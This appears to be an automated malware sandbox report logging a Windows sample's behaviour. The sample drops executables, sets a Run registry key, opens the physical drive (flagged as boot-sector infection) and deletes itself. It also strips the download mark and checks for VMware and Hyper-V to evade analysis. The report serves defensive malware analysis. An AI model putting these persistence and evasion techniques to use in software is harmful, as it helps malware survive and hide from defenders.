Source: initial sample	Static PE information: section name: .text entropy: 7.8758451173214326
Source: initial sample	Static PE information: section name: .text entropy: 7.432579762443802
Source: initial sample	Static PE information: section name: .text entropy: 7.038368167533408

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	5_2_00408951
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	5_2_00408951
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	5_2_00408958
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	5_2_00408958
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	5_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	5_2_0040895B

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rgrsiwf

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\66CA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\72E5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	File created: C:\Windows\Temp\321.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Local\Temp\re.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rgrsiwf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	File created: C:\Windows\Temp\123.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\66CA.exe	File created: C:\Windows\Temp\321.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	File created: C:\Windows\Temp\123.exe			Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run RegSvcs

Jump to behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	5_2_00408951
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	5_2_00408951
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	5_2_00408958
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	5_2_00408958
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	5_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	5_2_0040895B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run RegSvcs			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run RegSvcs			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\rgrsiwf:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 6636	Thread sleep time: -31500s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3976	Thread sleep time: -450000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72E5.exe TID: 4688	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 371	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 441	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 861	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 852	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-4891

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\re.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000001.00000000.322097042.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000001.00000000.322097042.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000001.00000000.317623259.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: explorer.exe, 00000001.00000000.315511337.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.322097042.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 0000000E.00000002.575648928.0000000000D71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|
Source: explorer.exe, 00000001.00000000.324889055.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.322097042.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
Source: explorer.exe, 00000001.00000000.323529348.000000000856B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=
Source: 72E5.exe, 0000000A.00000002.459497750.0000000002DDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: K,<=;;?9:VMcI;8

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgrsiwf	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F092B mov eax, dword ptr fs:[00000030h]	2_2_007F092B
